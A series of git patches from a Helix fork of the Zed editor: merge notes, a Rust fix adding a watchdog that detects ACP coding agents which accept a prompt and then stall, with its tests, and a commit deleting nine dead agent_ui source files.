+7. **`.gitignore`** (round 3) — **pre-existing breakage**: a raw, unresolved conflict block
+   (`<<<<<<<` / `=======` / `>>>>>>> upstream/main`) had been *committed* to fork main by an
+   earlier merge. Repaired by keeping every real entry from all sides.
+8. **Workflows** (round 2) — `hotfix-review-monitor.yml`, `stale-pr-reminder.yml`
+   modify/delete: kept HEAD's deletion (`git rm`), matching prior rounds.
+
+### Pre-existing Breakage Repaired
+
+Two items, both invisible to the previous checklist:
+
+- **`.gitignore` committed conflict markers** (above).
+- **`cargo test -p acp_thread` had been RED since 2026-06-18.**
+  `test_stale_cancelled_response_does_not_cancel_current_compaction` (upstream `5c90b0664f`,
+  PR #59014, absorbed by 002100-extension) asserts a displaced turn still delivers its
+  `PromptResponse`. That is mutually exclusive with **Critical Fix #8** — `cancel()` does
+  `drop(turn.send_task)`, so `rx.await` returns `Err` and the displaced turn resolves to
+  `Ok(None)`. Confirmed failing identically on pre-merge `06e9ce8059`, so **not** a regression
+  from this merge. Marked `#[ignore]` with the full rationale inline; the suite is green again
+  and usable as a gate. Helix keeps Fix #8: a permanently wedged thread is far worse than a
+  lost stale response, and the compaction invariant the test guards still holds (the stale
+  turn returns `None`, so it cannot cancel the live compaction).
+
+  **Process lesson:** checklist item #7 only ever ran `cargo test -p acp_thread test_second_send`,
+  so a whole-suite failure hid for six weeks. Run the FULL crate suites (item #48 below).
+
+### Signature Drift Repaired (build fixes)
+
+- `into_foreground_future()` removed upstream → Helix's PR #63 `force_close_session` converted
+  to `.block_task()`.
+- ACP schema is now **versioned**: `agent_client_protocol::schema` → `::schema::v1`
+  (`ContentBlock`, `TextContent`, `SessionId`) in `thread_service.rs`.
+- `from_existing_thread()` gained two upstream fields:
+  `ConnectedServerState::_request_elicitation_subscription` (`None` — headless/external threads
+  have no elicitation UI) and `ConversationView::request_elicitation_form_states`.
+- `clear_overlay_state()` and its three backing fields (`overlay_view`,
+  `configuration_subscription`, `configuration`) were removed by upstream `40d20036af`
+  (PR #59860, in-panel AI-config overlay retired). The call is dropped from the Critical Fix #11
+  guard; guard semantics unchanged.
+- `initialize_headless()` now fully qualifies `agent::ThreadStore`.
+
+### Helix Surface — Auto-Merge Survival Check
+
+Drift sweep **28/28** after every round (`script/helix-drift-sweep.sh`). Critical Fixes #1, #3,
+#6/#9, #8, #11 and PR #50/#55/#56/#60 surface all intact.
+
+Two build warnings, both expected/not ours:
+- `agent_panel.rs` "unreachable statement" — this is **PR #56 Fix 1b working as designed**: the
+  cfg-gated `return` correctly shadows upstream's terminal-spawn branches. Its presence is
+  positive evidence Fix 1b is still the FIRST statement of the `BaseView::Uninitialized` branch.
+- `title_bar.rs:1330` "unused `Task` that must be used" — pure upstream code (`327ad43ebd`,
+  PR #49763 organization selector). Left alone; patching upstream here would only add future
+  conflict surface.
+
+### The message-queue rework (upstream PR #59310)
+
+Round 1 absorbed `5c58d5c49a` "agent_ui: Refactor the queue feature and add steering ability",
+which **removes `user_interrupted_generation` / `skip_queue_processing_count`** and replaces
+them with a `MessageQueue` state machine (`AutoProcess` / `Paused` / `AbsorbingCancel`) in the
+new `conversation_view/message_queue.rs`. The old booleans suppressed a queue flush on interrupt
+and had no path that ever flushed it afterwards; the new `AbsorbingCancel` state swallows exactly
+one self-initiated cancel's `Stopped` and then **returns to `AutoProcess`**, and both `enqueue()`
+and `resume()` restore `AutoProcess`. This closes a real message-stranding seam. (It was
+*not* the cause of the 2026-07-29 production hang — see
+`design/2026-07-29-acp-agent-silent-prompt-wedge.md`.)
 
 ## Merge 002100-extension (2026-06-18)
 

From 77d261c44117af4ce026231baa2d7a5abfc58e29 Mon Sep 17 00:00:00 2001
From: Luke Marsden <me@lukemarsden.net>
Date: Wed, 29 Jul 2026 18:54:25 +0100
Subject: [PATCH 769/772] fix(sync): detect ACP agents that accept a prompt
 then go silent
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Production wedge 2026-07-29 (spt_01kyq6qd8h4wqq2rfasc4b01e9): claude-agent-acp
stayed alive but stopped answering session/prompt. connection.prompt() never
resolved, so run_turn emitted no Stopped and no error, and the Helix interaction
sat in state=waiting forever with nothing surfaced in either UI. Only a container
restart recovered it.

Nothing caught it: the await is unbounded, and PR #63's recovery keys on an
ede_diagnostic error string that a silent wedge never produces.

Adds a time-to-FIRST-event watchdog (not a turn timeout):

- THREAD_ACTIVITY, a per-thread counter bumped by the persistent subscription on
  every AcpThreadEvent — any event is proof of life.
- wait_for_first_agent_activity() races a freshly dispatched prompt against
  HELIX_ACP_FIRST_EVENT_TIMEOUT_SECS (default 120s, 0 disables).
- Once the agent emits anything the watchdog disarms for the rest of the turn, so
  long tool calls and slow generations are untouched. A blanket turn timeout would
  false-positive on those; 'zero events since dispatch' does not.
- On expiry the send task is dropped (same rationale as Critical Fix #8 — never
  block on a non-responding agent) and an error carrying helix_silent_prompt_wedge
  is returned.
- is_silent_prompt_wedge() joins the follow-up recovery trigger, so the wedge runs
  the EXISTING force-close -> reload -> retry machinery rather than a new one.

Lives in the Helix-owned crate, not upstream acp_thread.rs, to keep the upstream
diff and future merge-conflict surface at zero.

cargo test -p external_websocket_sync: 55 passed (5 new).
Known gap, documented in the design doc: this covers Helix-originated follow-ups;
UI-typed messages go through agent_ui and are not yet wrapped.
---
 .../src/thread_service.rs                     | 288 +++++++++++++++++-
 1 file changed, 286 insertions(+), 2 deletions(-)

diff --git a/crates/external_websocket_sync/src/thread_service.rs b/crates/external_websocket_sync/src/thread_service.rs
index 3e28dc320c458e..7a334cde91d99f 100644
--- a/crates/external_websocket_sync/src/thread_service.rs
+++ b/crates/external_websocket_sync/src/thread_service.rs
@@ -99,6 +99,36 @@ static THREAD_REGISTRY: parking_lot::Mutex<Option<Arc<RwLock<HashMap<String, Ent
 static THREAD_KEEP_ALIVE: parking_lot::Mutex<Option<Arc<RwLock<HashMap<String, Entity<AcpThread>>>>>> =
     parking_lot::Mutex::new(None);
 
+/// Monotonically increasing per-thread counter of observed `AcpThreadEvent`s.
+///
+/// Bumped by the persistent subscription on EVERY event, so it advances for any
+/// sign of life from the agent — thinking, text chunks, tool calls, entry
+/// updates, Stopped. Used by the silent-prompt watchdog (see
+/// [`wait_for_first_agent_activity`]) to distinguish "the agent is working" from
+/// "the agent accepted the prompt and died silently".
+static THREAD_ACTIVITY: parking_lot::Mutex<Option<Arc<RwLock<HashMap<String, u64>>>>> =
+    parking_lot::Mutex::new(None);
+
+/// Snapshot the current activity counter for a thread (0 if never seen).
+pub(crate) fn activity_count(thread_id: &str) -> u64 {
+    let guard = THREAD_ACTIVITY.lock();
+    guard
+        .as_ref()
+        .and_then(|m| m.read().get(thread_id).copied())
+        .unwrap_or(0)
+}
+
+/// Record one observed agent event for a thread.
+pub(crate) fn touch_activity(thread_id: &str) {
+    let mut guard = THREAD_ACTIVITY.lock();
+    if guard.is_none() {
+        *guard = Some(Arc::new(RwLock::new(HashMap::new())));
+    }
+    if let Some(map) = guard.as_ref() {
+        *map.write().entry(thread_id.to_string()).or_insert(0) += 1;
+    }
+}
+
 /// Global map of acp_thread_id -> agent_session_id
 /// The agent (e.g. Claude Code) uses its own session IDs that differ from Zed's thread UUIDs.
 /// We store this mapping when a thread is created so we can pass the correct session ID
@@ -861,6 +891,9 @@ pub fn ensure_thread_subscription(
             "🔔 [THREAD_SERVICE] Subscription FIRED for thread {} on entity {:?} (subscribed to {:?}), event: {:?}",
             thread_id_for_sub, current_entity_id, sub_entity_id, std::mem::discriminant(event)
         );
+        // Any event at all is proof of life from the agent. Recorded before the
+        // match so it counts even for event kinds this handler ignores.
+        touch_activity(&thread_id_for_sub);
         match event {
             AcpThreadEvent::NewEntry => {
                 let thread = thread_entity.read(cx);
@@ -1331,7 +1364,12 @@ pub fn setup_thread_handler(
 
                     if let Err(e) = initial_err {
                         let err_msg = e.to_string();
-                        if is_claude_acp_drain_race(&err_msg) {
+                        // Both signatures mean the same thing — the agent-side
+                        // session is wedged and only a wrapper teardown clears
+                        // it. The drain race announces itself with an
+                        // ede_diagnostic error; the silent wedge announces
+                        // nothing and is inferred by the first-event watchdog.
+                        if is_claude_acp_drain_race(&err_msg) || is_silent_prompt_wedge(&err_msg) {
                             // The claude-agent-acp SDK Query is wedged — the
                             // in-place retry inside handle_follow_up_message
                             // has already exhausted; only a wrapper-side
@@ -2064,6 +2102,10 @@ async fn handle_follow_up_message(
     let max_attempts = 2;
     let retry_delay = Duration::from_millis(500);
     for attempt in 1..=max_attempts {
+        // Snapshot BEFORE dispatch so the watchdog only credits activity that
+        // this prompt produced.
+        let activity_baseline = activity_count(&thread_id);
+
         let send_task = cx.update(|cx| {
             thread.update(cx, |thread: &mut AcpThread, cx| {
                 let message = vec![ContentBlock::Text(
@@ -2073,7 +2115,51 @@ async fn handle_follow_up_message(
             })
         })?;
 
-        match send_task.await {
+        // Silent-prompt watchdog. Race the turn against a time-to-first-event
+        // budget: if the agent produces literally nothing, `send_task` would
+        // otherwise never resolve and this await would hang forever (the
+        // 2026-07-29 production wedge). Once any event lands the watchdog
+        // disarms and the turn runs unbounded, so long tool calls are unaffected.
+        let send_result = if let Some(budget) = first_event_timeout() {
+            let send_task = Box::pin(send_task);
+            let watchdog = Box::pin(wait_for_first_agent_activity(
+                &thread_id,
+                activity_baseline,
+                budget,
+                &cx,
+            ));
+            match futures::future::select(send_task, watchdog).await {
+                // Turn finished before the budget elapsed — normal path.
+                futures::future::Either::Left((result, _)) => result,
+                futures::future::Either::Right((saw_activity, pending_send)) => {
+                    if saw_activity {
+                        // Agent is alive; let the turn run to completion unbounded.
+                        pending_send.await
+                    } else {
+                        // Zero events within the budget: the agent took the
+                        // prompt and went silent. Drop the send task (same
+                        // rationale as Critical Fix #8 — never block on a
+                        // non-responding agent) and report a wedge so the
+                        // caller runs the force-reset + reload recovery.
+                        drop(pending_send);
+                        let err = anyhow::anyhow!(
+                            "{}: agent produced no events within {:?} of session/prompt on thread {} — \
+                             treating the agent session as wedged",
+                            SILENT_PROMPT_WEDGE_MARKER,
+                            budget,
+                            thread_id
+                        );
+                        eprintln!("🛑 [THREAD_SERVICE] {}", err);
+                        log::warn!("🛑 [THREAD_SERVICE] {}", err);
+                        return Err(err);
+                    }
+                }
+            }
+        } else {
+            send_task.await
+        };
+
+        match send_result {
             Ok(_) => {
                 eprintln!("✅ [THREAD_SERVICE] Follow-up send completed successfully");
                 break;
@@ -2120,6 +2206,70 @@ pub(crate) fn is_claude_acp_drain_race(msg: &str) -> bool {
         && msg.contains("stop_reason=null")
 }
 
+/// Marker embedded in the error returned when the silent-prompt watchdog fires.
+pub(crate) const SILENT_PROMPT_WEDGE_MARKER: &str = "helix_silent_prompt_wedge";
+
+/// Returns true for the error raised by the silent-prompt watchdog.
+///
+/// Treated by the follow-up recovery path exactly like
+/// [`is_claude_acp_drain_race`]: both mean "the agent-side session is wedged and
+/// only a wrapper teardown will unstick it". The difference is only in how the
+/// wedge announces itself — the drain race raises an `ede_diagnostic` error,
+/// whereas this one raises nothing at all and has to be inferred from silence.
+pub(crate) fn is_silent_prompt_wedge(msg: &str) -> bool {
+    msg.contains(SILENT_PROMPT_WEDGE_MARKER)
+}
+
+/// How long a freshly-dispatched prompt may produce *zero* agent events before
+/// we declare the session wedged. Override with
+/// `HELIX_ACP_FIRST_EVENT_TIMEOUT_SECS`; set to `0` to disable the watchdog.
+///
+/// This is a time-to-FIRST-event budget, not a turn budget: once the agent emits
+/// anything at all the watchdog disarms for the rest of the turn, so arbitrarily
+/// long tool calls and slow generations are unaffected. A healthy agent emits
+/// its first event within a couple of seconds, so 120s is ~2 orders of magnitude
+/// of headroom while still bounding a wedge to a couple of minutes instead of
+/// forever.
+fn first_event_timeout() -> Option<Duration> {
+    let secs = std::env::var("HELIX_ACP_FIRST_EVENT_TIMEOUT_SECS")
+        .ok()
+        .and_then(|v| v.parse::<u64>().ok())
+        .unwrap_or(120);
+    (secs > 0).then(|| Duration::from_secs(secs))
+}
+
+/// Watchdog for the "agent accepted the prompt and went silent" wedge.
+///
+/// Observed in production 2026-07-29 (see
+/// `helix/design/2026-07-29-acp-agent-silent-prompt-wedge.md`): after an earlier
+/// `model_not_found` + `Session not found` sequence, `claude-agent-acp` stayed
+/// alive but stopped answering `session/prompt` entirely. `connection.prompt()`
+/// never resolved, so no `Stopped`, no error, and no `message_completed` were
+/// ever emitted — the Helix interaction sat in `waiting` forever with no UI
+/// signal, and the pre-existing recovery could not fire because it keys on an
+/// error string that a silent wedge never produces.
+///
+/// Resolves as soon as [`THREAD_ACTIVITY`] advances past `baseline`, or after
+/// the first-event budget expires.
+async fn wait_for_first_agent_activity(
+    thread_id: &str,
+    baseline: u64,
+    timeout: Duration,
+    cx: &gpui::AsyncApp,
+) -> bool {
+    const POLL: Duration = Duration::from_millis(250);
+    let deadline = Instant::now() + timeout;
+    loop {
+        if activity_count(thread_id) > baseline {
+            return true;
+        }
+        if Instant::now() >= deadline {
+            return false;
+        }
+        cx.background_executor().timer(POLL).await;
+    }
+}
+
 /// Force-close an agent-side session at the wire level, bypassing Zed's
 /// ref-counted `close_session` path (which is a no-op while an
 /// `AcpThread` entity still holds a reference). After the wrapper
@@ -3115,6 +3265,140 @@ mod agent_ready_on_reconnect_tests {
     }
 }
 
+#[cfg(test)]
+#[cfg(test)]
+mod silent_prompt_wedge_tests {
+    //! Regression tests for the "agent accepted the prompt then went silent"
+    //! wedge observed in production on 2026-07-29.
+    //!
+    //! `claude-agent-acp` stayed alive but stopped answering `session/prompt`:
+    //! `connection.prompt()` never resolved, so no `Stopped`, no error and no
+    //! `message_completed` were ever emitted and the Helix interaction sat in
+    //! `waiting` indefinitely. The pre-existing recovery could not fire because
+    //! it keys on an `ede_diagnostic` error string that a silent wedge never
+    //! produces.
+
+    use super::*;
+    use gpui::TestAppContext;
+
+    fn unique_thread_id(tag: &str) -> String {
+        format!(
+            "test-watchdog-{}-{}",
+            tag,
+            std::time::SystemTime::now()
+                .duration_since(std::time::UNIX_EPOCH)
+                .unwrap()
+                .as_nanos()
+        )
+    }
+
+    #[test]
+    fn silent_wedge_error_is_recognised_and_routes_to_recovery() {
+        let err = format!(
+            "{}: agent produced no events within 120s of session/prompt",
+            SILENT_PROMPT_WEDGE_MARKER
+        );
+        assert!(is_silent_prompt_wedge(&err));
+        // Must NOT be misread as the drain race — they are separate signatures
+        // that happen to share one recovery path.
+        assert!(!is_claude_acp_drain_race(&err));
+        // And an unrelated agent error must not trip the wedge path.
+        assert!(!is_silent_prompt_wedge("Internal error: model_not_found"));
+    }
+
+    #[test]
+    fn activity_counter_is_per_thread_and_monotonic() {
+        let a = unique_thread_id("counter-a");
+        let b = unique_thread_id("counter-b");
+
+        let a0 = activity_count(&a);
+        touch_activity(&a);
+        touch_activity(&a);
+        assert_eq!(activity_count(&a), a0 + 2);
+
+        // Bumping one thread must not credit another — otherwise a busy thread
+        // would mask a wedge on a quiet one.
+        assert_eq!(activity_count(&b), 0);
+    }
+
+    #[gpui::test]
+    async fn watchdog_fires_when_agent_emits_nothing(cx: &mut TestAppContext) {
+        let thread_id = unique_thread_id("silent");
+        let baseline = activity_count(&thread_id);
+
+        let saw_activity = cx
+            .update(|cx| {
+                let cx = cx.to_async();
+                let thread_id = thread_id.clone();
+                async move {
+                    wait_for_first_agent_activity(
+                        &thread_id,
+                        baseline,
+                        Duration::from_millis(150),
+                        &cx,
+                    )
+                    .await
+                }
+            })
+            .await;
+
+        assert!(
+            !saw_activity,
+            "a prompt that produces zero agent events must be reported as wedged, \
+             not awaited forever"
+        );
+    }
+
+    #[gpui::test]
+    async fn watchdog_disarms_as_soon_as_the_agent_shows_life(cx: &mut TestAppContext) {
+        let thread_id = unique_thread_id("alive");
+        let baseline = activity_count(&thread_id);
+
+        // Simulate the agent emitting its first event before the budget expires.
+        touch_activity(&thread_id);
+
+        let saw_activity = cx
+            .update(|cx| {
+                let cx = cx.to_async();
+                let thread_id = thread_id.clone();
+                async move {
+                    // Deliberately generous budget: this must return promptly on
+                    // activity rather than waiting it out.
+                    wait_for_first_agent_activity(
+                        &thread_id,
+                        baseline,
+                        Duration::from_secs(30),
+                        &cx,
+                    )
+                    .await
+                }
+            })
+            .await;
+
+        assert!(
+            saw_activity,
+            "once the agent emits any event the watchdog must disarm so long \
+             tool calls and slow generations are never interrupted"
+        );
+    }
+
+    #[test]
+    fn first_event_timeout_is_configurable_and_disablable() {
+        // Default budget applies when unset.
+        unsafe { std::env::remove_var("HELIX_ACP_FIRST_EVENT_TIMEOUT_SECS") };
+        assert_eq!(first_event_timeout(), Some(Duration::from_secs(120)));
+
+        unsafe { std::env::set_var("HELIX_ACP_FIRST_EVENT_TIMEOUT_SECS", "5") };
+        assert_eq!(first_event_timeout(), Some(Duration::from_secs(5)));
+
+        // 0 disables the watchdog entirely (escape hatch for debugging).
+        unsafe { std::env::set_var("HELIX_ACP_FIRST_EVENT_TIMEOUT_SECS", "0") };
+        assert_eq!(first_event_timeout(), None);
+
+        unsafe { std::env::remove_var("HELIX_ACP_FIRST_EVENT_TIMEOUT_SECS") };
+    }
+}
+
 #[cfg(test)]
 mod agent_process_crash_tests {
     //! Regression test for the "streamed-then-died" stuck-turn wedge.

From d6f15e260ff57963db9650e8c32fd5d028e801d7 Mon Sep 17 00:00:00 2001
From: Luke Marsden <me@lukemarsden.net>
Date: Wed, 29 Jul 2026 19:07:18 +0100
Subject: [PATCH 770/772] chore(agent_ui): remove orphaned acp/ module tree (9
 dead files)

crates/agent_ui/src/acp/ was orphaned by the 2026-03-22 upstream merge
(a2a6f61edf), which introduced conversation_view.rs as the live implementation
but left the old tree on disk. It has been uncompiled dead code ever since:

  - no 'mod acp;' declaration anywhere in the crate
  - zero references to crate::acp:: / super::acp:: from outside the directory
  - zero references to agent_ui::acp from any other crate

The only crate::acp:: references were self-referential, within the dead tree.

This is not cosmetic. The stale copy shadows the live code when grepping: while
diagnosing the 2026-07-29 production wedge, acp/thread_view/active_thread.rs
was read as the live message-queue interrupt handler when the real one is in
conversation_view/. It also invites resolving phantom merge conflicts in files
that are never built.

cargo check -p agent_ui: clean. Recoverable from history if ever needed.
---
 crates/agent_ui/src/acp/config_options.rs     |  913 --
 crates/agent_ui/src/acp/entry_view_state.rs   |  540 --
 crates/agent_ui/src/acp/message_editor.rs     | 3460 --------
 crates/agent_ui/src/acp/mode_selector.rs      |  217 -
 crates/agent_ui/src/acp/model_selector.rs     |  850 --
 .../src/acp/model_selector_popover.rs         |  106 -
 crates/agent_ui/src/acp/thread_history.rs     | 1686 ----
 crates/agent_ui/src/acp/thread_view.rs        | 6640 ---------------
 .../src/acp/thread_view/active_thread.rs      | 7465 -----------------
 9 files changed, 21877 deletions(-)
 delete mode 100644 crates/agent_ui/src/acp/config_options.rs
 delete mode 100644 crates/agent_ui/src/acp/entry_view_state.rs
 delete mode 100644 crates/agent_ui/src/acp/message_editor.rs
 delete mode 100644 crates/agent_ui/src/acp/mode_selector.rs
 delete mode 100644 crates/agent_ui/src/acp/model_selector.rs
 delete mode 100644 crates/agent_ui/src/acp/model_selector_popover.rs
 delete mode 100644 crates/agent_ui/src/acp/thread_history.rs
 delete mode 100644 crates/agent_ui/src/acp/thread_view.rs
 delete mode 100644 crates/agent_ui/src/acp/thread_view/active_thread.rs

diff --git a/crates/agent_ui/src/acp/config_options.rs b/crates/agent_ui/src/acp/config_options.rs
deleted file mode 100644
index c12f4df3d88a9c..00000000000000
--- a/crates/agent_ui/src/acp/config_options.rs
+++ /dev/null
@@ -1,913 +0,0 @@
-use std::{cmp::Reverse, rc::Rc, sync::Arc};
-
-use acp_thread::AgentSessionConfigOptions;
-use agent_client_protocol as acp;
-use agent_servers::AgentServer;
-use agent_settings::AgentSettings;
-use collections::HashSet;
-use fs::Fs;
-use fuzzy::StringMatchCandidate;
-use gpui::{
-    App, BackgroundExecutor, Context, DismissEvent, Entity, Subscription, Task, Window, prelude::*,
-};
-use ordered_float::OrderedFloat;
-use picker::popover_menu::PickerPopoverMenu;
-use picker::{Picker, PickerDelegate};
-use settings::{Settings, SettingsStore};
-use ui::{
-    DocumentationSide, ElevationIndex, IconButton, ListItem, ListItemSpacing, PopoverMenuHandle,
-    Tooltip, prelude::*,
-};
-use util::ResultExt as _;
-
-use crate::ui::HoldForDefault;
-
-const PICKER_THRESHOLD: usize = 5;
-
-pub struct ConfigOptionsView {
-    config_options: Rc<dyn AgentSessionConfigOptions>,
-    selectors: Vec<Entity<ConfigOptionSelector>>,
-    agent_server: Rc<dyn AgentServer>,
-    fs: Arc<dyn Fs>,
-    config_option_ids: Vec<acp::SessionConfigId>,
-    _refresh_task: Task<()>,
-}
-
-impl ConfigOptionsView {
-    pub fn new(
-        config_options: Rc<dyn AgentSessionConfigOptions>,
-        agent_server: Rc<dyn AgentServer>,
-        fs: Arc<dyn Fs>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        let selectors = Self::build_selectors(&config_options, &agent_server, &fs, window, cx);
-        let config_option_ids = Self::config_option_ids(&config_options);
-
-        let rx = config_options.watch(cx);
-        let refresh_task = cx.spawn_in(window, async move |this, cx| {
-            if let Some(mut rx) = rx {
-                while let Ok(()) = rx.recv().await {
-                    this.update_in(cx, |this, window, cx| {
-                        this.refresh_selectors_if_needed(window, cx);
-                        cx.notify();
-                    })
-                    .log_err();
-                }
-            }
-        });
-
-        Self {
-            config_options,
-            selectors,
-            agent_server,
-            fs,
-            config_option_ids,
-            _refresh_task: refresh_task,
-        }
-    }
-
-    pub fn toggle_category_picker(
-        &mut self,
-        category: acp::SessionConfigOptionCategory,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> bool {
-        let Some(config_id) = self.first_config_option_id(category) else {
-            return false;
-        };
-
-        let Some(selector) = self.selector_for_config_id(&config_id, cx) else {
-            return false;
-        };
-
-        selector.update(cx, |selector, cx| {
-            selector.toggle_picker(window, cx);
-        });
-
-        true
-    }
-
-    pub fn cycle_category_option(
-        &mut self,
-        category: acp::SessionConfigOptionCategory,
-        favorites_only: bool,
-        cx: &mut Context<Self>,
-    ) -> bool {
-        let Some(config_id) = self.first_config_option_id(category) else {
-            return false;
-        };
-
-        let Some(next_value) = self.next_value_for_config(&config_id, favorites_only, cx) else {
-            return false;
-        };
-
-        let task = self
-            .config_options
-            .set_config_option(config_id, next_value, cx);
-
-        cx.spawn(async move |_, _| {
-            if let Err(err) = task.await {
-                log::error!("Failed to set config option: {:?}", err);
-            }
-        })
-        .detach();
-
-        true
-    }
-
-    /// Returns the current model value ID string for the Model config option, if one exists.
-    pub fn current_model_value(&self) -> Option<String> {
-        let config_id = self.first_config_option_id(acp::SessionConfigOptionCategory::Model)?;
-        let option = self.config_options.config_options().into_iter().find(|opt| opt.id == config_id)?;
-        match &option.kind {
-            acp::SessionConfigKind::Select(select) => {
-                // Return the value ID (e.g. "claude-sonnet-4-5-latest"), falling back to name
-                Some(select.current_value.0.to_string())
-            }
-            _ => None,
-        }
-    }
-
-    fn first_config_option_id(
-        &self,
-        category: acp::SessionConfigOptionCategory,
-    ) -> Option<acp::SessionConfigId> {
-        self.config_options
-            .config_options()
-            .into_iter()
-            .find(|option| option.category.as_ref() == Some(&category))
-            .map(|option| option.id)
-    }
-
-    fn selector_for_config_id(
-        &self,
-        config_id: &acp::SessionConfigId,
-        cx: &App,
-    ) -> Option<Entity<ConfigOptionSelector>> {
-        self.selectors
-            .iter()
-            .find(|selector| selector.read(cx).config_id() == config_id)
-            .cloned()
-    }
-
-    fn next_value_for_config(
-        &self,
-        config_id: &acp::SessionConfigId,
-        favorites_only: bool,
-        cx: &mut Context<Self>,
-    ) -> Option<acp::SessionConfigValueId> {
-        let mut options = extract_options(&self.config_options, config_id);
-        if options.is_empty() {
-            return None;
-        }
-
-        if favorites_only {
-            let favorites = self
-                .agent_server
-                .favorite_config_option_value_ids(config_id, cx);
-            options.retain(|option| favorites.contains(&option.value));
-            if options.is_empty() {
-                return None;
-            }
-        }
-
-        let current_value = get_current_value(&self.config_options, config_id);
-        let current_index = current_value
-            .as_ref()
-            .and_then(|current| options.iter().position(|option| &option.value == current))
-            .unwrap_or(usize::MAX);
-
-        let next_index = if current_index == usize::MAX {
-            0
-        } else {
-            (current_index + 1) % options.len()
-        };
-
-        Some(options[next_index].value.clone())
-    }
-
-    fn config_option_ids(
-        config_options: &Rc<dyn AgentSessionConfigOptions>,
-    ) -> Vec<acp::SessionConfigId> {
-        config_options
-            .config_options()
-            .into_iter()
-            .map(|option| option.id)
-            .collect()
-    }
-
-    fn refresh_selectors_if_needed(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let current_ids = Self::config_option_ids(&self.config_options);
-        if current_ids != self.config_option_ids {
-            self.config_option_ids = current_ids;
-            self.rebuild_selectors(window, cx);
-        }
-    }
-
-    fn rebuild_selectors(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.selectors = Self::build_selectors(
-            &self.config_options,
-            &self.agent_server,
-            &self.fs,
-            window,
-            cx,
-        );
-        cx.notify();
-    }
-
-    fn build_selectors(
-        config_options: &Rc<dyn AgentSessionConfigOptions>,
-        agent_server: &Rc<dyn AgentServer>,
-        fs: &Arc<dyn Fs>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Vec<Entity<ConfigOptionSelector>> {
-        config_options
-            .config_options()
-            .into_iter()
-            .map(|option| {
-                let config_options = config_options.clone();
-                let agent_server = agent_server.clone();
-                let fs = fs.clone();
-                cx.new(|cx| {
-                    ConfigOptionSelector::new(
-                        config_options,
-                        option.id.clone(),
-                        agent_server,
-                        fs,
-                        window,
-                        cx,
-                    )
-                })
-            })
-            .collect()
-    }
-}
-
-impl Render for ConfigOptionsView {
-    fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
-        if self.selectors.is_empty() {
-            return div().into_any_element();
-        }
-
-        h_flex()
-            .gap_1()
-            .children(self.selectors.iter().cloned())
-            .into_any_element()
-    }
-}
-
-struct ConfigOptionSelector {
-    config_options: Rc<dyn AgentSessionConfigOptions>,
-    config_id: acp::SessionConfigId,
-    picker_handle: PopoverMenuHandle<Picker<ConfigOptionPickerDelegate>>,
-    picker: Entity<Picker<ConfigOptionPickerDelegate>>,
-    setting_value: bool,
-}
-
-impl ConfigOptionSelector {
-    pub fn new(
-        config_options: Rc<dyn AgentSessionConfigOptions>,
-        config_id: acp::SessionConfigId,
-        agent_server: Rc<dyn AgentServer>,
-        fs: Arc<dyn Fs>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        let option_count = config_options
-            .config_options()
-            .iter()
-            .find(|opt| opt.id == config_id)
-            .map(count_config_options)
-            .unwrap_or(0);
-
-        let is_searchable = option_count >= PICKER_THRESHOLD;
-
-        let picker = {
-            let config_options = config_options.clone();
-            let config_id = config_id.clone();
-            let agent_server = agent_server.clone();
-            let fs = fs.clone();
-            cx.new(move |picker_cx| {
-                let delegate = ConfigOptionPickerDelegate::new(
-                    config_options,
-                    config_id,
-                    agent_server,
-                    fs,
-                    window,
-                    picker_cx,
-                );
-
-                if is_searchable {
-                    Picker::list(delegate, window, picker_cx)
-                } else {
-                    Picker::nonsearchable_list(delegate, window, picker_cx)
-                }
-                .show_scrollbar(true)
-                .width(rems(20.))
-                .max_height(Some(rems(20.).into()))
-            })
-        };
-
-        Self {
-            config_options,
-            config_id,
-            picker_handle: PopoverMenuHandle::default(),
-            picker,
-            setting_value: false,
-        }
-    }
-
-    fn current_option(&self) -> Option<acp::SessionConfigOption> {
-        self.config_options
-            .config_options()
-            .into_iter()
-            .find(|opt| opt.id == self.config_id)
-    }
-
-    fn config_id(&self) -> &acp::SessionConfigId {
-        &self.config_id
-    }
-
-    fn toggle_picker(&self, window: &mut Window, cx: &mut Context<Self>) {
-        self.picker_handle.toggle(window, cx);
-    }
-
-    fn current_value_name(&self) -> String {
-        let Some(option) = self.current_option() else {
-            return "Unknown".to_string();
-        };
-
-        match &option.kind {
-            acp::SessionConfigKind::Select(select) => {
-                find_option_name(&select.options, &select.current_value)
-                    .unwrap_or_else(|| "Unknown".to_string())
-            }
-            _ => "Unknown".to_string(),
-        }
-    }
-
-    fn render_trigger_button(&self, _window: &mut Window, _cx: &mut Context<Self>) -> Button {
-        let Some(option) = self.current_option() else {
-            return Button::new("config-option-trigger", "Unknown")
-                .label_size(LabelSize::Small)
-                .color(Color::Muted)
-                .disabled(true);
-        };
-
-        let icon = if self.picker_handle.is_deployed() {
-            IconName::ChevronUp
-        } else {
-            IconName::ChevronDown
-        };
-
-        Button::new(
-            ElementId::Name(format!("config-option-{}", option.id.0).into()),
-            self.current_value_name(),
-        )
-        .label_size(LabelSize::Small)
-        .color(Color::Muted)
-        .icon(icon)
-        .icon_size(IconSize::XSmall)
-        .icon_position(IconPosition::End)
-        .icon_color(Color::Muted)
-        .disabled(self.setting_value)
-    }
-}
-
-impl Render for ConfigOptionSelector {
-    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let Some(option) = self.current_option() else {
-            return div().into_any_element();
-        };
-
-        let trigger_button = self.render_trigger_button(window, cx);
-
-        let option_name = option.name.clone();
-        let option_description: Option<SharedString> = option.description.map(Into::into);
-
-        let tooltip = Tooltip::element(move |_window, _cx| {
-            let mut content = v_flex().gap_1().child(Label::new(option_name.clone()));
-            if let Some(desc) = option_description.as_ref() {
-                content = content.child(
-                    Label::new(desc.clone())
-                        .size(LabelSize::Small)
-                        .color(Color::Muted),
-                );
-            }
-            content.into_any()
-        });
-
-        PickerPopoverMenu::new(
-            self.picker.clone(),
-            trigger_button,
-            tooltip,
-            gpui::Corner::BottomRight,
-            cx,
-        )
